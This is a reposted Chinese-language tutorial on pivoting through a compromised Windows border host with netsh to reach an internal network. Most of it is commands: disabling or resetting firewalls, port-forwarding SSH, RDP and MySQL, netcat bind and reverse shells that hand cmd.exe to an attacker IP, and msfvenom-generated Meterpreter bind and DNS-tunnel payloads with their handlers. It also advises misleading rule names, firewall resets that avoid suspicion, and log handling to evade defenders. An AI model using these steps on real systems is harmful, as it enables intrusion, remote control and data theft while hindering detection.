边界跨越简易入门 Windows 运维工具 netsh

转载说明

本文转载自 klionsec
博客: https://klionsec.github.io
微信公众号: apt攻防指南 (微信号:klionsec)
知识星球/小密圈: apt攻防指南

xiaomiquan

netsh 的使用前提

什么是边界主机
横跨多个网络的主机即为边界主机,单个主机拥有多个IP地址。(可以只有一块物理网卡,不过可能会有多块虚拟网卡)

边界主机是 Windows 系统。

netsh 是什么

核心功能
a. 防火墙规则配置
b. 端口转发(边界跨越的核心!)

netsh 是微软自带的一款高级网络配置管理工具,用它可以轻松的管理本地或者远程机器的 Windows 防火墙及各类系统网络配置。
不得不说,对运维来讲,它确实是个非常趁手的 Windows 系统配置管理工具,同样对于入侵者来讲,它亦是一款非常好用的渗透工具,
比如,常规 TCP,UDP 端口“正向”转发以及对指定的防火墙规则的各种增删操作。

简单解释一下 netsh portproxy 的工作方式

注意,此处所说的所有场景均有一个最基本的前提:即执行netsh操作的那台机器,必须处在目标边界上[换句话说,这台主机上通常有多张网卡,若干张内网网卡+若干张外网网卡]。
这样一来,我们才能利用这台处于网络边界的主机作为跳板,再通过 netsh 对目标内网中各类资源进行灵活访问。

再次强调 netsh 的 portproxy 是没有任何反向转发功能的。说的稍微形象一点 portproxy 就是类似一个主动 bind 的过程,一旦用 netsh 执行应用某条转发规则时,
就会自动在本地监听相应端口,当有任何外部指向该端口的连接过来时都会将其转发到指定主机的指定端口上。
其实,由此不难看出,用于转发的主机必须和要转发到达的目的主机之间保持 互通 才行, 即 “这两台主机,要么同时在公网,要么同时在内网”,公网是不能直接转发到内网的。

实战中 netsh 可能的应用的渗透场景

  • 通过在目标边界机器上执行 netsh 转发,连接目标内网中的 ssh。
  • 通过在目标边界机器上执行 netsh 转发,连接目标内网中的 rdp。
  • 通过在目标边界机器上执行 netsh 转发,连接目标内网中的 http web系统 转发到外网访问。
  • 通过在目标边界机器上执行 netsh 转发,连接目标内网中的 mysql/mssql,导出数据库。
  • 通过在目标边界机器上执行 netsh 转发,连接目标内网中的 bind 类型的 meterpreter。
  • 通过在目标边界机器上执行 netsh 转发,让目标内网中不能正常连接外网的机器也能正常 reverse 回弹 meterpreter。

Windows Server 2003 下的 netsh

在 Windows Server 2003 下使用 netsh,需要先安装 ipv6 支持。由于 netsh 同时支持 ipv4 和 ipv6 的端口转发, 如果不安装 ipv6 , netsh 可能会遇到产生某些异常无法正常使用。

1
netsh interface ipv6 install

使用 netsh 对目标主机防火墙进行简单管理

对于 Windows Server 2003 及以下系统

1
2
3
# netsh firewall show state 查看当前防火墙状态
# netsh firewall set opmode disable 关闭当前系统防火墙 (需要管理员权限,360安全卫士会告警)
# netsh firewall set opmode enable 启动当前系统防火墙 (需要管理员权限)

对于高于 Windows Server 2003 的系统

1
2
3
4
5
# netsh advfirewall show allprofiles 查看当前系统所有网络类型的防火墙状态,比如 私有,公共,域网咯
# netsh advfirewall set allprofiles state off 关闭当前系统防火墙(需要管理员权限,360安全卫士并未告警 Win10+2018.02.11+360安全卫士)
# netsh advfirewall set allprofiles state on 关闭当前系统防火墙(需要管理员权限)
# netsh advfirewall reset 重置当前系统的所有防火墙规则,会回到刚装完系统的初始状态(需要管理员权限)
# netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志的路径 (需要管理员权限)

关于操作防火墙时的注意事项

没有极为特殊的情况时,非常不建议去直接关闭目标的防火墙。因为有些目标主机的服务可能会依托防火墙进行,如果只是简单粗暴的把目标主机的防火墙直接关闭,可能会造成目标主机的某些服务出现访问异常,万一被监控捕获并告警,就有些得不偿失了。一旦被人有所察觉,下次再渗透就不太容易了。况且,大部分情况下,我们根本没必要非要去把对方防火墙完全关闭。

假如面对情况比较复杂时,建议先把现有的防火墙规则导出来,然后再关闭防火墙。如果出现意外,及时重新打开防火墙导入规则。

最后,注意“重置防火墙规则”,它会把防火墙规则重置到系统刚安装好的状态,如果规则里还有目标单位运维人员自行添加的一些规则,也就意味着会被一并删除掉,这个效果与直接关闭目标防火墙基本是一样的,不过相对好一点。

重置目标的防火墙,缺乏经验的运维可能会认为这是系统自身问题,因为毕竟重置后防火墙还开着呢;但如果直接关闭防火墙,不免会引起别人怀疑。

使用 netsh 修改防火墙规则

1
2
3
4
5
6
7
add 增加规则
delete 删除规则
allow 允许连接
block 阻断连接
in 入站
out 出站
name 为要显示的规则名称

根据端口

a. 首先我们可以 根据端口 来添加或删除指定的出,入站规则。
注意这个规则名称,实际中显然要起的更具迷惑性一些,不然容易被对方一眼看出。

1
2
3
4
5
允许外部来连接本地的 tcp 53 端口
# netsh advfirewall firewall add rule name="nc bind shell" dir=in action=allow protocol=TCP localport=53
# (管理员权限,360安全卫士无告警)
# netsh advfirewall firewall delete rule name="nc bind shell" dir=in protocol=TCP localport=53

举个例子
正向连接

1
2
nc -lvp 53 -e cmd.exe # Server主机/受害者
nc -nv 192.168.3.101 53 # Client主机/攻击者

反向连接
要做反向连接的话首先得在攻击主机上打开端口

1
2
3
4
netsh firewall add portopening TCP 53 "nc reverse shell listening port"
nc -lvp 53
# 搞完事记得删除防火墙规则
netsh firewall delete portopening TCP 53

在受害主机上的操作

1
2
3
4
netsh advfirewall firewall add rule name="nc reverse shell" dir=out action=allow protocol=TCP localport=53
nc -nv 192.168.3.102 53 -e cmd.exe
# 搞完事记得删除防火墙规则
netsh advfirewall firewall delete rule name="nc reverse shell" dir=out protocol=TCP localport=53

根据进程

注意 实际测试发现对进程的出入站控制并不是很到位

2003 以下

1
2
3
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
nc -nv 192.168.3.101 53
nc -lvp 53

2003 以上

1
2
3
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
nc -lvp 53 -e cmd.exe
netsh advfirewall firewall delete rule name="pass nc" dir=in program="C:\nc.exe"

ssh 中继示例

网络边界跳板机

允许外部的 TCP 8081 端口连入

1
netsh advfirewall firewall add rule="OldLNMP ssh" dir=in action=allow protocol=TCP localport=8081

网络边界的跳板机
把来自外部的 TCP 8081 端口流量全部转发到目标内网的OldLNMP主机的 TCP 22 端口上,地址类型为 ipv4 到 ipv4。 默认会监听在 0.0.0.0 的 8081 上

1
2
3
4
5
6
7
8
9
netsh interface portproxy add v4tov4 listenport=8081 connectaddress=192.168.4.14 connectport=22
(会修改注册表/360安全卫士告警两次/一次是修改网络设置/另一次是修改注册表)
netsh interface portproxy show all
查看所有转发规则
netstat -ano | findstr 8081
# 搞完事记得恢复原状
netsh advfirewall firewall delete rule nam="OldLNMP" dir=in protocol=TCP localport=8081
netsh interface portproxy delete v4tov4 listenport=8081 (360安全卫士告警)

rdp中继示例

将来自外部的 TCP 389 端口流量全部转发到内网的 2008r2-dc 主机的 TCP 3389 端口

1
2
3
4
5
6
7
8
netsh advfirewall firewall add rule="2008r2-dc rdp" dir=in action=allow protocol=TCP localport=389
netsh interface portproxy add v4tov4 listenport=389 connectaddress=192.168.5.6 connectport=3389
netsh interface portproxy show all
netstat -ano | findstr ":389"
# 搞完事记得恢复原状
netsh advfirewall firewall delete rule name="2008r2-dc rdp" dir=in protocol=TCP localport=389
netsh interface portproxy delete v4tov4 listenport=389

数据库管理端口中继示例

经常遇到数据库可能有 mysql, mssql, pgsql, oracle, db2 …

到 内网数据库服务器(OldLNMP) 上执行,开启 mysql 外连,如果边界机器是 web 服务器, 数据库服务器和web服务器之间的连接基本是通的;如果边界机器不是 web 服务器,可能就要自己想办法开启权限了。

1
2
mysql -uroot -p -S /tmp/mysql.sock
mysql> grant all on *.* to 'root'@'%' identified by 'admin' with grant option; flush privileges;

换到边界跳板机

1
2
3
4
5
6
7
8
netsh advfirewall firewall add rule name="OldLNMP MySQL dump" dir=in action=allow protocol=TCP localport=3568
net interface portproxy add v4tov4 listenport=3568 connectaddress=192.168.4.14 connectport=3306
# netsh interface portproxy show all
# netsh -ano | findstr "3568"
# 完事后清理添加的记录
# netsh advfirewall firewall delete rule name="OldLNMP MySQL dump" dir=in protocol=TCP localport=3568
# netsh interface portproxy delete v4tov4 listenport=3568

切换到攻击机

1
navicat ip: 192.168.3.101 port 3568 root:admin

RAT 正向中继

攻击机 -> 跳板机/边界web服务器 -> 内网主机/bind_meterpreter

此处的 ahost 的参数为 allowed host [允许访问的主机],填写的是边界跳板机的IP。

1
msfvenom -a x86 --platform Windows -p windows/meterpreter/bind_hidden_tcp LPORT=443 AHOST=192.168.5.2 -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe > bind_meterpreter.exe

在跳板机上执行

1
2
3
4
# netsh advfirewall firewall add rule="bind hidden meterpreter" dir=in action=allow protocol=TCP localport=4443
# netsh interface portproxy add v4tov4 listenport=4443 connectaddress=192.168.5.4 connectport=443
# netsh interface portproxy show all
# netstat -ano | findstr "4443"

在受害机上执行 bind_meterpreter.exe
确认端口正常开启,处于监听状态

1
netstat -ano | findstr ":443"

攻击机(CobaltStrike服务器) 向跳板机连接

1
2
3
4
5
6
7
8
9
10
11
12
# 先用nc试探一下 确认端口开放 再用msf
nc -nv 192.168.3.101 4443
# msf
msf> use exploit/multi/handler
set payload windows/meterpreter/bind_hidden_tcp
set ahost 192.168.5.2
set rhost 192.168.3.101
set lport 4443
set ExitOnSession false
exploit -j

完事后记得清理
跳板机 和 内网受害机

清理跳板机

1
2
3
netsh advfirewall firewall delete rule name="bind hidden meterpreter" dir=in protocol=TCP localport=4443
netsh interface portproxy delete v4tov4 listenport=4443
netsh interface portproxy show all

RAT 反向中继 (DNS隧道)

攻击机/Cobalt Strike服务器

1
2
3
4
5
6
7
msf> use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp_rc4_dns
set lhost 192.168.3.96
set lport 53
set rc4password test
set ExitOnSession false
exploit -j

生成 rat/payload
注意回连IP写的是 跳板机/边界主机 的IP

1
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_rc4_dns LHOST=192.168.5.2 LPORT=53 RC4PASSWORD=test -e x86/shikata_ga_nai -b '\x00' -f exe > dns_tunnel.exe

在跳板机/网络边界主机执行

1
2
3
4
5
# netsh advfirewall firewall add rule name="dns rc4 shell" dir=in action=allow protocol=TCP localport=53
# netsh interface portproxy add v4tov4 listenport=54 listenaddress=192.168.5.2 connectaddress=192.168.3.96<攻击机/CS服务器> connectport=53
# netstat -ano | findstr ":53"

在受害主机执行 dns_tunnel.exe
需要说明的是 dns_tunnel 的 RAT 一般响应较慢
毕竟有效载荷小,传输损耗大

清理 跳板机/边界跨越主机

1
2
netsh advfirewall firewall delete rule name="dns rc4 shell" dir=in protocol=TCP localport=53
netsh interface portproxy delete v4tov4 listenport=53 listenaddress=192.168.5.2<跳板机与受害机可连通的ip接口>

关于利用 netsh 进行端口转发基本原则

什么叫穿透性较好的端口
即是大多数运维人员在配置防火墙策略时一般都会放行的端口。

  1. 尽量选择一些穿透性较好的端口,例如 53,443,80 … 尽可能不用高端口,使用的端口不能与系统现有的端口冲突。
  2. 注意目标边界和内网防火墙的问题,绝大多数的渗透过程出现的端口不通的情况,都是因为防火墙的原因。实战中要尽量仔细搜集,准备充分后再操作。
  3. 出入站规则名要具有迷惑性
  4. 处理好转发日志

使用 netsh 进行端口转发的优势与弊端

  1. 如果目标的系统实时监控防火墙规则的变动(例如主机有agent实时监控,与监控服务器存在心跳联系),这么做极易触发告警,隐蔽性非常差。
  2. 只能单个端口转发,配置起来比较繁琐
  3. 由于系统自带,使用相对方便灵活,能帮助解决大部分实际问题,减少自己上传工具的麻烦。一般使用于 存在 系统为 Windows 的边界主机的场景。
  4. 同时支持 ipv4 和 ipv6 以及 TCP 和 UDP 的端口转发,扩展性较强。